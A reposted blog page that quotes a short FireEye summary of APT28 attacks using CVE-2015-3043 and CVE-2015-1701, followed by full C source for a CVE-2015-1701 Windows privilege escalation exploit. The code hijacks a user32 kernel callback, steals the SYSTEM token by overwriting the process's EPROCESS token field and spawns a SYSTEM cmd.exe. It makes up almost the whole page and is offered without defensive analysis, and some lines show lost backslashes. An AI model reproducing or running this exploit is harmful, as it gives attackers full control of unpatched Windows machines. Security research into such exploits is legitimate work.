zoukankan      html  css  js  c++  java
  • Exploits Likely Leveraged by Russia’s APT28 in Highly-Targeted Attack

    FireEye Labs recently detected a limited APT campaign exploiting zero-day vulnerabilities in Adobe Flash and a brand-new one in Microsoft Windows. Using the Dynamic Threat Intelligence Cloud (DTI), FireEye researchers detected a pattern of attacks beginning on April 13th, 2015. Adobe independently patched the vulnerability (CVE-2015-3043) in APSB15-06. Through correlation of technical indicators and command and control infrastructure, FireEye assess that APT28 is probably responsible for this activity.

    Microsoft is aware of the outstanding local privilege escalation vulnerability in Windows (CVE-2015-1701). While there is not yet a patch available for the Windows vulnerability, updating Adobe Flash to the latest version will render this in-the-wild exploit innocuous. We have only seen CVE-2015-1701 in use in conjunction with the Adobe Flash exploit for CVE-2015-3043. The Microsoft Security Team is working on a fix for CVE-2015-1701.

    /*******************************************************************************
    *
    *  (C) COPYRIGHT AUTHORS, 2015
    *
    *  TITLE:       MAIN.C
    *
    *  VERSION:     1.00
    *
    *  DATE:        10 May 2015
    *
    * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
    * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
    * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
    * PARTICULAR PURPOSE.
    *
    *******************************************************************************/
    
    //Disable nonmeaningful warnings.
    #pragma warning(disable: 4005) // macro redefinition
    #pragma warning(disable: 4054) // 'type cast' : from function pointer %s to data pointer %s
    #pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression
    #pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
    
    #define OEMRESOURCE
    #include <Windows.h>
    #include <ntstatus.h>
    #include "ntos.h"
    #include "minirtlminirtl.h"
    
    #define TYPE_WINDOW 1
    #define HMUNIQSHIFT 16
    
    typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
    typedef NTSTATUS (NTAPI *pPLPBPI)(HANDLE ProcessId, PVOID *Process);
    
    typedef PVOID    PHEAD;
    
    typedef struct _HANDLEENTRY {
        PHEAD   phead;  // Pointer to the Object.
        PVOID   pOwner; // PTI or PPI
        BYTE    bType;  // Object handle type
        BYTE    bFlags; // Flags
        WORD    wUniq;  // Access count.
    } HANDLEENTRY, *PHANDLEENTRY;
    
    typedef struct _SERVERINFO {
        WORD            wRIPFlags;
        WORD            wSRVIFlags;
        WORD            wRIPPID;
        WORD            wRIPError;
        ULONG           cHandleEntries;
        // incomplete
    } SERVERINFO, *PSERVERINFO;
    
    typedef struct _SHAREDINFO {
        PSERVERINFO        psi;
        PHANDLEENTRY    aheList;
        ULONG            HeEntrySize;
        // incomplete
    } SHAREDINFO, *PSHAREDINFO;
    
    static const TCHAR    MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow");
    
    pPLPBPI                        g_PsLookupProcessByProcessIdPtr = NULL;
    pUser32_ClientCopyImage        g_originalCCI = NULL;
    PVOID                        g_ppCCI = NULL, g_w32theadinfo = NULL;
    int                            g_shellCalled = 0;
    DWORD                        g_OurPID;
    DWORD                        g_EPROCESS_TokenOffset = 0;
    
    /*
    * supGetSystemInfo
    *
    * Purpose:
    *
    * Returns buffer with system information by given InfoClass.
    *
    * Returned buffer must be freed with HeapFree after usage.
    * Function will return error after 100 attempts.
    *
    */
    PVOID supGetSystemInfo(
        _In_ SYSTEM_INFORMATION_CLASS InfoClass
        )
    {
        INT            c = 0;
        PVOID        Buffer = NULL;
        ULONG        Size = 0x1000;
        NTSTATUS    status;
        ULONG       memIO;
    
        do {
            Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size);
            if (Buffer != NULL) {
                status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO);
            }
            else {
                return NULL;
            }
            if (status == STATUS_INFO_LENGTH_MISMATCH) {
                HeapFree(GetProcessHeap(), 0, Buffer);
                Size *= 2;
            }
            c++;
            if (c > 100) {
                status = STATUS_SECRET_TOO_LONG;
                break;
            }
        } while (status == STATUS_INFO_LENGTH_MISMATCH);
    
        if (NT_SUCCESS(status)) {
            return Buffer;
        }
    
        if (Buffer) {
            HeapFree(GetProcessHeap(), 0, Buffer);
        }
        return NULL;
    }
    
    /*
    * supIsProcess32bit
    *
    * Purpose:
    *
    * Return TRUE if given process is under WOW64, FALSE otherwise.
    *
    */
    BOOLEAN supIsProcess32bit(
        _In_ HANDLE hProcess
        )
    {
        NTSTATUS status;
        PROCESS_EXTENDED_BASIC_INFORMATION pebi;
    
        if (hProcess == NULL) {
            return FALSE;
        }
    
        //query if this is wow64 process
        RtlSecureZeroMemory(&pebi, sizeof(pebi));
        pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION);
        status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pebi, sizeof(pebi), NULL);
        if (NT_SUCCESS(status)) {
            return (pebi.IsWow64Process == 1);
        }
        return FALSE;
    }
    
    /*
    * GetPsLookupProcessByProcessId
    *
    * Purpose:
    *
    * Return address of PsLookupProcessByProcessId routine to be used next by shellcode.
    *
    */
    ULONG_PTR GetPsLookupProcessByProcessId(
        VOID
        )
    {
        BOOL                        cond = FALSE;
        ULONG                        rl = 0;
        PVOID                        MappedKernel = NULL;
        ULONG_PTR                    KernelBase = 0L, FuncAddress = 0L;
        PRTL_PROCESS_MODULES        miSpace = NULL;
        CHAR                        KernelFullPathName[MAX_PATH * 2];
    
    
        do {
    
            miSpace = supGetSystemInfo(SystemModuleInformation);
            if (miSpace == NULL) {
                break;
            }
    
            if (miSpace->NumberOfModules == 0) {
                break;
            }
    
            rl = GetSystemDirectoryA(KernelFullPathName, MAX_PATH);
            if (rl == 0) {
                break;
            }
    
            KernelFullPathName[rl] = (CHAR)'\';
            _strcpy_a(&KernelFullPathName[rl + 1],
                (const char*)&miSpace->Modules[0].FullPathName[miSpace->Modules[0].OffsetToFileName]);
            KernelBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;
            HeapFree(GetProcessHeap(), 0, miSpace);
            miSpace = NULL;
    
            MappedKernel = LoadLibraryExA(KernelFullPathName, NULL, DONT_RESOLVE_DLL_REFERENCES);
            if (MappedKernel == NULL) {
                break;
            }
    
            FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId");
            FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel;
    
        } while (cond);
    
        if (MappedKernel != NULL) {
            FreeLibrary(MappedKernel);
        }
        if (miSpace != NULL) {
            HeapFree(GetProcessHeap(), 0, miSpace);
        }
    
        return FuncAddress;
    }
    
    /*
    * GetFirstThreadHWND
    *
    * Purpose:
    *
    * Locate, convert and return hwnd for current thread from SHAREDINFO->aheList.
    *
    */
    HWND GetFirstThreadHWND(
        VOID
        )
    {
        PSHAREDINFO        pse;
        HMODULE            huser32;
        PHANDLEENTRY    List;
        ULONG_PTR        c, k;
    
        huser32 = GetModuleHandle(TEXT("user32.dll"));
        if (huser32 == NULL)
            return 0;
    
        pse = (PSHAREDINFO)GetProcAddress(huser32, "gSharedInfo");
        if (pse == NULL)
            return 0;
    
        List = pse->aheList;
        k = pse->psi->cHandleEntries;
    
        if (pse->HeEntrySize != sizeof(HANDLEENTRY))
            return 0;
    
        //
        // Locate, convert and return hwnd for current thread.
        //
        for (c = 0; c < k; c++)
            if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) {
                return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT));
            }
    
        return 0;
    }
    
    /*
    * StealProcessToken
    *
    * Purpose:
    *
    * Copy system token to current process object.
    *
    */
    NTSTATUS NTAPI StealProcessToken(
        VOID
        )
    {
        NTSTATUS Status;
        PVOID CurrentProcess = NULL;
        PVOID SystemProcess = NULL;
    
        Status = g_PsLookupProcessByProcessIdPtr((HANDLE)g_OurPID, &CurrentProcess);
        if (NT_SUCCESS(Status)) {
            Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess);
            if (NT_SUCCESS(Status)) {
                if (g_EPROCESS_TokenOffset) {
                    *(PVOID *)((PBYTE)CurrentProcess + g_EPROCESS_TokenOffset) = *(PVOID *)((PBYTE)SystemProcess + g_EPROCESS_TokenOffset);
                }
            }
        }
        return Status;
    }
    
    
    /*
    * MainWindowProc
    *
    * Purpose:
    *
    * To be called in ring0.
    *
    */
    LRESULT CALLBACK MainWindowProc(
        _In_ HWND hwnd,
        _In_ UINT uMsg,
        _In_ WPARAM wParam,
        _In_ LPARAM lParam
        )
    {
        UNREFERENCED_PARAMETER(hwnd);
        UNREFERENCED_PARAMETER(uMsg);
        UNREFERENCED_PARAMETER(wParam);
        UNREFERENCED_PARAMETER(lParam);
    
        if (g_shellCalled == 0) {
            StealProcessToken();
            g_shellCalled = 1;
        }
    
        return 0;
    }
    
    /*
    * hookCCI
    *
    * Purpose:
    *
    * _ClientCopyImage hook handler.
    *
    */
    NTSTATUS NTAPI hookCCI(
        PVOID p
        )
    {
        InterlockedExchangePointer(g_ppCCI, g_originalCCI); //restore original callback
    
        SetWindowLongPtr(GetFirstThreadHWND(), GWLP_WNDPROC, (LONG_PTR)&DefWindowProc);
    
        return g_originalCCI(p);
    }
    
    /*
    * main
    *
    * Purpose:
    *
    * Program entry point.
    *
    */
    void main()
    {
    
        PTEB            teb = NtCurrentTeb();
        PPEB            peb = teb->ProcessEnvironmentBlock;
        WNDCLASSEX        wincls;
        HINSTANCE        hinst = GetModuleHandle(NULL);
        BOOL            rv = TRUE;
        MSG                msg1;
        ATOM            class_atom;
        HWND            MainWindow;
        DWORD            prot;
        OSVERSIONINFOW    osver;
    
        DWORD                    cch;
        TCHAR                    cmdbuf[MAX_PATH * 2], sysdir[MAX_PATH + 1];
        STARTUPINFO                startupInfo;
        PROCESS_INFORMATION        processInfo;
    
    
        RtlSecureZeroMemory(&osver, sizeof(osver));
        osver.dwOSVersionInfoSize = sizeof(osver);
        RtlGetVersion(&osver);
        
        if (osver.dwBuildNumber > 7601) {
            ExitProcess((UINT)-1);
            return;
        }
    
        if (supIsProcess32bit(GetCurrentProcess())) {
            ExitProcess((UINT)-2);
            return;
        }
    
        g_OurPID = GetCurrentProcessId();
        g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId();
    
    #ifdef _WIN64
        g_EPROCESS_TokenOffset = 0x208;
    #else
        g_EPROCESS_TokenOffset = 0xF8;
    #endif
    
    
        if (g_PsLookupProcessByProcessIdPtr == NULL) {
            ExitProcess((UINT)-3);
            return;
        }
    
        RtlSecureZeroMemory(&wincls, sizeof(wincls));
        wincls.cbSize = sizeof(WNDCLASSEX);
        wincls.lpfnWndProc = &MainWindowProc;
        wincls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
        wincls.lpszClassName = MAINWINDOWCLASSNAME;
    
        class_atom = RegisterClassEx(&wincls);
        while (class_atom) {
    
            g_w32theadinfo = teb->Win32ThreadInfo;
    
            g_ppCCI = &((PVOID *)peb->KernelCallbackTable)[0x36]; //  <--- User32_ClientCopyImage INDEX
        
            if (!VirtualProtect(g_ppCCI, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot)) {
                break;
            }
            g_originalCCI = InterlockedExchangePointer(g_ppCCI, &hookCCI);
    
            MainWindow = CreateWindowEx(0, MAKEINTATOM(class_atom),
                NULL, 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
    
            if (g_shellCalled == 1) {
    
                RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
                RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
                startupInfo.cb = sizeof(startupInfo);
                GetStartupInfo(&startupInfo);
    
                RtlSecureZeroMemory(sysdir, sizeof(sysdir));
                cch = ExpandEnvironmentStrings(TEXT("%systemroot%\system32\"), sysdir, MAX_PATH);
                if ((cch != 0) && (cch < MAX_PATH)) {
                    RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
                    _strcpy(cmdbuf, sysdir);
                    _strcat(cmdbuf, TEXT("cmd.exe"));
    
                    if (CreateProcess(cmdbuf, NULL, NULL, NULL, FALSE, 0, NULL,
                        sysdir, &startupInfo, &processInfo))
                    {
                        CloseHandle(processInfo.hProcess);
                        CloseHandle(processInfo.hThread);
                    }
                }
    
            }
            else {
                OutputDebugString(TEXT(" Failed 
    "));
            }
    
            if (!MainWindow)
                break;
    
            do {
                rv = GetMessage(&msg1, NULL, 0, 0);
    
                if (rv == -1)
                    break;
    
                TranslateMessage(&msg1);
                DispatchMessage(&msg1);
            } while (rv != 0);
    
            break;
        }
    
        if (class_atom)
            UnregisterClass(MAKEINTATOM(class_atom), hinst);
    
        ExitProcess(0);
    }


  • 相关阅读:
    IntelliJ IDEA错误: 源值1.5已过时,将在未来所有版本中删除
    AcWing 311. 月之谜 数位dp
    AcWing 306. 杰拉尔德和巨型象棋 计数类DP
    AcWing 296. 清理班次2 线段树优化dp
    luogu P3052 [USACO12MAR]Cows in a Skyscraper G
    luogu P5664 Emiya 家今天的饭 容斥+dp
    AcWing 289. 环路运输 滑动窗口单调队列优化
    AcWing 288. 休息时间 滚动数组+分类讨论
    AcWing 287. 积蓄程度 树形dp,换根
    luogu P3842 [TJOI2007]线段 线性dp
  • 原文地址:https://www.cnblogs.com/jiancanxuepiao/p/4501051.html
Copyright © 2011-2022 走看看